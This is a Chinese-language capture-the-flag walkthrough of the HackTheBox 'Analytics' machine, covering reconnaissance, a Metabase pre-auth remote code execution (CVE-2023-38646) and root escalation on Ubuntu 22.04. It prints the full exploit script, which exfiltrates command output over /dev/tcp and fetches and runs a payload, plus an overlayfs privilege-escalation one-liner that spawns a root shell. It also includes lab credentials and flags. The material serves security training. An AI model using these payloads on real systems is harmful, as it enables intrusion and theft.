HTB:Analytics[WriteUP]

目录

连接至HTB服务器并启动靶机

1.How many open TCP ports are listening on Analytics?

2.What subdomain is configured to provide a different application on the target web server?

3.What application is running on data.analytical.htb?

4.What version of Metabase is the target running?

5.What is the 2023 CVE ID assigned to the pre-authentication, remote code execution vulnerability in this version of Metabase?

6.What is the value of the setup-token used by this Metabase instance?

7.Which Metabase API endpoint is used to execute arbitrary commands using the token?

8.Which user is the Metabase application running as?

9.Which environment variable contains the password for the metalytics user?

10.Submit the flag located in the metalytics user's home directory.

USER_FLAG:f5fda9c837bc74fb814606ff409a61d3

11.What kernel version is installed on the host system?

12&13.What Ubuntu release is the system running?

14.Submit the flag located in the root user's home directory.

ROOT_FLAG:e003932489c1090f9447ef3550b4b7f2


连接至HTB服务器并启动靶机

靶机IP:10.10.11.233

分配IP:10.10.16.22


1.How many open TCP ports are listening on Analytics?

使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -sS -Pn 10.10.11.233

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -sS -Pn 10.10.11.233
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-28 23:04 EDT
Nmap scan report for 10.10.11.233
Host is up (0.077s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 44.80 seconds

由扫描结果可见,靶机开放22、80端口共2个端口


2.What subdomain is configured to provide a different application on the target web server?

使用nmap对靶机22、80端口进行脚本、服务信息扫描

nmap -p 22,80 -sCV 10.10.11.233

使用curl访问靶机80端口服务,从头部信息可见被重定位至:analytical.htb

curl -I http://10.10.11.233

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.233                                          
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 29 Oct 2024 03:02:54 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://analytical.htb/

将靶机IP与域名绑定使DNS从本地解析

echo '10.10.11.233 analytical.htb' >> /etc/hosts

该地址默认界面响应为302

使用ffuf对靶机主域名进行路径FUZZ

ffuf -u http://analytical.htb/FUZZ -w ../dictionary/common.txt

可见主域就是纯纯的静态网页,没有继续测试的必要

使用ffuf对靶机域名进行子域名FUZZ

ffuf -u http://analytical.htb/ -H 'Host:FUZZ.analytical.htb' -w ../dictionary/subdomains-top1mil-5000.txt -fc 302

扫描子域:data.analytical.htb


3.What application is running on data.analytical.htb?

使用浏览器访问子域:data.analytical.htb

该子域运行的WebAPP为:Metabase


4.What version of Metabase is the target running?

使用curl访问子域获得响应,查找版本信息

curl http://data.analytical.htb/ | grep version

由回显可知,该WebAPP版本为:v0.46.6


5.What is the 2023 CVE ID assigned to the pre-authentication, remote code execution vulnerability in this version of Metabase?

使用searchsploit对Metabase进行漏洞搜索

searchsploit metabase

将EXP拷贝到当前目录下

searchsploit -m 51797.py

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 51797.py
  Exploit: Metabase 0.46.6 - Pre-Auth Remote Code Execution
      URL: https://www.exploit-db.com/exploits/51797
     Path: /usr/share/exploitdb/exploits/linux/webapps/51797.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable, with very long lines (317)
Copied to: /home/kali/Desktop/temp/51797.py

查看该EXP代码

cat 51797.py
# Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution
# Google Dork: N/A
# Date: 13-10-2023
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://www.metabase.com/
# Software Link: https://www.metabase.com/
# Version: metabase 0.46.6
# Tested on: Ubuntu 22.04, metabase 0.46.6
# CVE : CVE-2023-38646#!/usr/bin/env python3import socket
from http.server import HTTPServer, BaseHTTPRequestHandler
from typing import Any
import requests
from socketserver import ThreadingMixIn
import threading
import sys
import argparse
from termcolor import colored
from cmd import Cmd
import re
from base64 import b64decodeclass Termial(Cmd):prompt = "metabase_shell > "def default(self,args):shell(args)class Handler(BaseHTTPRequestHandler):def do_GET(self):global successif self.path == "/exploitable":self.send_response(200)self.end_headers()self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0  > /dev/tcp/{argument.lhost}/{argument.lport}".encode())success = Trueelse:print(self.path)#sys.exit(1)def log_message(self, format: str, *args: Any) -> None:return Noneclass Server(HTTPServer):passdef run():global httpserverhttpserver = Server(("0.0.0.0", argument.sport), Handler)httpserver.serve_forever()def exploit():global success, setup_tokenprint(colored("[*] Retriving setup token", "green"))setuptoken_request = requests.get(f"{argument.url}/api/session/properties")setup_token = re.search('"setup-token":"(.*?)"', setuptoken_request.text, re.DOTALL).group(1)print(colored(f"[+] Setup token: {setup_token}", "green"))print(colored("[*] Tesing if metabase is vulnerable", "green"))payload = {"token": setup_token,"details":{"is_on_demand": False,"is_full_sync": False,"is_sample": False,"cache_ttl": None,"refingerprint": False,"auto_run_queries": True,"schedules":{},"details":{"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://{argument.lhost}:{argument.sport}/exploitable').openConnection().getContentLength()\n$$--=x\\;","advanced-options": False,"ssl": True},"name": "an-sec-research-musyoka","engine": "h2"}}timer = 0print(colored(f"[+] Starting http server on port {argument.sport}", "blue"))thread = threading.Thread(target=run, )thread.start()while timer != 120:test = requests.post(f"{argument.url}/api/setup/validate", json=payload)if success == True :print(colored("[+] Metabase version seems exploitable", "green"))breakelif timer == 120:print(colored("[-] Service does not seem exploitable exiting ......", "red"))sys.exit(1)print(colored("[+] Exploiting the server", "red"))terminal = Termial()terminal.cmdloop()def shell(command):global setup_token, payload2payload2 = {"token": setup_token,"details":{"is_on_demand": False,"is_full_sync": False,"is_sample": False,"cache_ttl": None,"refingerprint": False,"auto_run_queries": True,"schedules":{},"details":{"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {argument.lhost}:{argument.sport}/exploitable -o /dev/shm/exec.sh')\n$$--=x","advanced-options": False,"ssl": True},"name": "an-sec-research-team","engine": "h2"}}output = requests.post(f"{argument.url}/api/setup/validate", json=payload2)bind_thread = threading.Thread(target=bind_function, )bind_thread.start()#updating the payloadpayload2["details"]["details"]["db"] = f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')\n$$--=x"requests.post(f"{argument.url}/api/setup/validate", json=payload2)#print(output.text)def bind_function():try:sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.bind(("0.0.0.0", argument.lport))sock.listen()conn, addr = sock.accept()data = conn.recv(10240).decode("ascii")print(f"\n{(b64decode(data)).decode()}")except Exception as ex:print(colored(f"[-] Error: {ex}", "red"))passif __name__ == "__main__":print(colored("[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]", "magenta"))args = argparse.ArgumentParser(description="Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]")args.add_argument("-l", "--lhost", metavar="", help="Attacker's bind IP Address", type=str, required=True)args.add_argument("-p", "--lport", metavar="", help="Attacker's bind port", type=int, required=True)args.add_argument("-P", "--sport", metavar="", help="HTTP Server bind port", type=int, required=True)args.add_argument("-u", "--url", metavar="", help="Metabase web application URL", type=str, required=True)argument  = args.parse_args()if argument.url.endswith("/"):argument.url = argument.url[:-1]success = Falseexploit()

由EXP中注释信息可知,该EXP基于漏洞:CVE-2023-38646


6.What is the value of the setup-token used by this Metabase instance?

从上文EXP中可以找到一个关于API的路径:/api/session/properties

使用curl对此路径进行访问,查找token字段

curl http://data.analytical.htb/api/session/properties | grep 'token'

"setup-token":249fa03d-fd94-4d5b-b94f-b4ebf3df681f


7.Which Metabase API endpoint is used to execute arbitrary commands using the token?

在上文EXP中找到相关API漏洞利用路径

该API端点通过使用token执行任意命令:/api/setup/validate


8.Which user is the Metabase application running as?

利用从searchsploit拿到的EXP进行漏洞利用

python 51797.py -l 10.10.16.22 -p 1425 -u http://data.analytical.htb

执行whoami命令由回显可知,当前用户为:metabase


9.Which environment variable contains the password for the metalytics user?

输出当前已设置的所有环境变量

printenv

printenv
metabase_shell >
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=f4af1d665e96
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=2
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/bin/printenv

在环境变量:META_USER、META_PASS可见一份用户凭证

账户:metalytics

密码:An4lytics_ds20223#


10.Submit the flag located in the metalytics user's home directory.

使用上文凭证连接靶机SSH服务

ssh metalytics@10.10.11.233

查找user_flag位置

find / -name 'user.txt' 2>/dev/null

查看user_flag内容

cat /home/metalytics/user.txt

metalytics@analytics:~$ find / -name 'user.txt' 2>/dev/null
/home/metalytics/user.txt
metalytics@analytics:~$ cat /home/metalytics/user.txt
f5fda9c837bc74fb814606ff409a61d3

USER_FLAG:f5fda9c837bc74fb814606ff409a61d3


11.What kernel version is installed on the host system?

查看系统相关信息

uname -a

metalytics@analytics:~$ uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

由回显可见该系统内核为:analytics 6.2.0-25-generic


12&13.What Ubuntu release is the system running?

查看靶机系统发行版相关信息

lsb_release -a

metalytics@analytics:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 22.04.3 LTS
Release:        22.04
Codename:       jammy

PS:由于这道题不管怎么填都填不对,往上也找不到任何做对这道题的人所以略过此题


14.Submit the flag located in the root user's home directory.

将该Ubuntu发行版本拿到Google进行搜索

在文中可以找到EXP

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

将执行命令id改为/bin/bash

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'

查找root_flag位置

find / -name 'root.txt'

查看root_flag内容

cat /root/root.txt

# find / -name 'root.txt'
/root/root.txt
# cat /root/root.txt
e003932489c1090f9447ef3550b4b7f2

ROOT_FLAG:e003932489c1090f9447ef3550b4b7f2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/461926.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

「Mac畅玩鸿蒙与硬件11」鸿蒙UI组件篇1 - Text 和 Button 组件详解

本篇将详细介绍鸿蒙应用开发中的 Text 和 Button 组件。通过本篇内容,你将学习如何使用 Text 组件显示文本、格式化文本样式,以及如何使用 Button 组件处理点击事件并自定义样式。掌握这些基本组件的用法将为后续的 UI 开发奠定基础。 关键词 Text 组件Button 组件样式设置事…

05-07实现面向对象领域模型-停车案例

学习视频来源:DDD独家秘籍视频合集 https://space.bilibili.com/24690212/channel/collectiondetail?sid1940048&ctype0 源代码地址:https://github.com/ByteBlizzard 本篇文章是讲视频中的3期内容合并为一起。 文章目录 需求模型命令聚合领域事…

如何批量裁剪图片?5个软件帮助你快速进行图片裁剪

如何批量裁剪图片?5个软件帮助你快速进行图片裁剪 批量裁剪图片可以通过多种工具轻松实现,以下5个软件可以帮助你快速裁剪大量图片: 万能图片编辑器 这是一款支持批量图像处理的多功能小工具,功能丰富且界面简单,支持…

vxe-table v4.8+ 与 v3.10+ 虚拟滚动支持动态行高,虚拟渲染更快了

Vxe UI vue vxe-table v4.8 与 v3.10 解决了老版本虚拟滚动不支持动态行高的问题,重构了虚拟渲染,渲染性能大幅提升了,行高自适应和列宽拖动都支持,大幅降低虚拟渲染过程中的滚动白屏,大量数据列表滚动更加流畅。 自适…

期权懂|开通ETF股票期权需要什么条件?ETF股票期权佣金是多少?

期权小懂每日分享期权知识,帮助期权新手及时有效地掌握即市趋势与新资讯! 开通ETF股票期权需要什么条件?ETF股票期权佣金是多少? 一、开通ETF股票期权需满足以下条件: ‌(1)资金要求‌&#xf…

Lucene的概述与应用场景(1)

文章目录 第1章 Lucene概述1.1 搜索的实现方案1.1.1 传统实现方案1.1.2 Lucene实现方案 1.2 数据查询方法1.1.1 顺序扫描法1.1.2 倒排索引法 1.3 Lucene相关概念1.3.1 文档对象1.3.2 域对象1)分词2)索引3)存储 1.3.3 常用的Field种类 1.4 分词…

在服务器运维过程中,发现服务器时间倒退以及DNS无法解析域名造成yum不可用的问题解决

目录 一.问题描述 二.问题排查过程 2.1yum下载NTP 2.2排查DNS 三.问题解决过程 3.1修复DNS 3.2更新yum源 3.3下载ntp 四.问题解决结果 4.1ntp服务情况检查 4.2服务器时间检查 4.3软件系统时间检查 一.问题描述 对服务器进行运维的过程中,发现服务器时间…

Redis高频面试题

一、Redis有什么好处? 高性能:Redis是一个基于内存的数据存储系统,相比于传统的基于磁盘的数据库系统,它能够提供更高的读写性能。支持丰富的数据类型:Redis支持多种数据结构,包括字符串、哈希、列表、集合、有序集合等,这使得它可以用于多种不同的应用场景。持久化:Re…

[POI2014] PTA-Little Bird(单调队列优化 DP)

luogu 传送门https://www.luogu.com.cn/problem/P3572 解题思路 先设 表示到 的最小劳累值。 很容易得出转移: 其中 由 和 的大小关系决定,并且 。 很显然,直接暴力是 的,会超时。 于是,考虑优化。 我们发现…

如何在Linux系统中使用Apache HTTP Server

如何在Linux系统中使用Apache HTTP Server Apache简介 安装Apache 在Debian/Ubuntu系统中安装 在CentOS/RHEL系统中安装 启动Apache服务 验证Apache是否正在运行 访问Apache默认页面 配置Apache虚拟主机 创建虚拟主机配置文件 示例虚拟主机配置 创建网站根目录 准备静态网站内…

ISME Comm | 西南大学时伟宇团队在功能基因水平揭示植被演替过程中磷限制对土壤微生物碳代谢潜力的抑制作用机制

本文首发于“生态学者”微信公众号! 植被群落长期演替过程中,生态系统普遍受养分限制,微生物群落代谢功能在生态系统物质循环中尤为关键。西南大学时伟宇教授团队联合国内外学者,在功能基因水平,将微生物群落功能纳入生…

Unity控制物体透明度的改变

目录标题 效果图代码调用注意事项 效果图 代码 注意:在控制全部的模型进行透视时,已经隐藏的子物体仍然要处理。 using System.Collections; using System.Collections.Generic; using UnityEngine; using DG.Tweening; public class FadeModel {priva…

工业网络监控中的IP保护与软件授权革新

未来的智能工厂离不开稳定而高效的通信网络,这些网络在支撑生产流程的同时,也面临着复杂的管理与安全挑战。PROCENTEC推出了一系列硬件和软件产品,如Atlas、Mercury和Osiris,以提供全面的网络监控和故障排除能力。然而&#xff0c…

springboot 整合 抖音 移动应用 授权

后端开发,因为没有JavaSDK,maven依赖,用到的是API接口去调用 抖音API开发文档 开发前先申请好移动应用,抖音控制台-移动应用 之后还需要开通所有能开通的能力 拿到应用的 clientKey 和 clientSecret,就可以进入开发了 …

后台管理系统的通用权限解决方案(七)SpringBoot整合SpringEvent实现操作日志记录(基于注解和切面实现)

1 Spring Event框架 除了记录程序运行日志,在实际项目中一般还会记录操作日志,包括操作类型、操作时间、操作员、管理员IP、操作原因等等(一般叫审计)。 操作日志一般保存在数据库,方便管理员查询。通常的做法在每个…

视频设备一体化监控运维方案

随着平安城市、雪亮工程等项目建设的号召,视频监控系统的建设如火如荼地开展。无论在公共场所、企业单位、住宅小区、矿山工地还是交通枢纽,视频监控系统已成为保障安全、维护秩序和提升管理效率的重要工具。但由于对视频监控系统中的前端设备&#xff0…

二十八、Python基础语法(面向对象-下)

一、self 从函数的语法上来看, self 是形参 , 是一个普通的参数,那么在调用的时候,就需要传递实参值。从调用上看, 我们没有给 self 这个形参传递实参值, 但是 Python 解释器会自动的将调用这个方法的对象,作为实参值传递给 self。 class Dog:def eat(self):print…

【Leecode】Leecode刷题之路第37天之解数独

题目出处 37-解数独-题目出处 题目描述 个人解法 思路: todo代码示例:(Java) todo复杂度分析 todo官方解法 37-解数独-官方解法 方法1:回溯 思路: 代码示例:(Java) p…

【golang/navmesh】使用recast navigation进行寻路

目录 说在前面安装使用可视化 说在前面 go version:1.20.2 linux/amd64操作系统:wsl2detour-go版本:v0.2.0github:这里,求star! 安装 使用go mod安装即可go get github.com/o0olele/detour-go使用 使用场景模型构建n…

qt QFormLayout详解

QFormLayout 是 Qt 框架中用于创建表单布局的一个类,适合于将标签和输入控件整齐地排列在一起。它可以帮助开发者轻松构建用户输入界面,尤其是在处理表单时。 QFormLayout以两列的形式展示其子项,常用于创建“标签-字段”对的布局。其中&…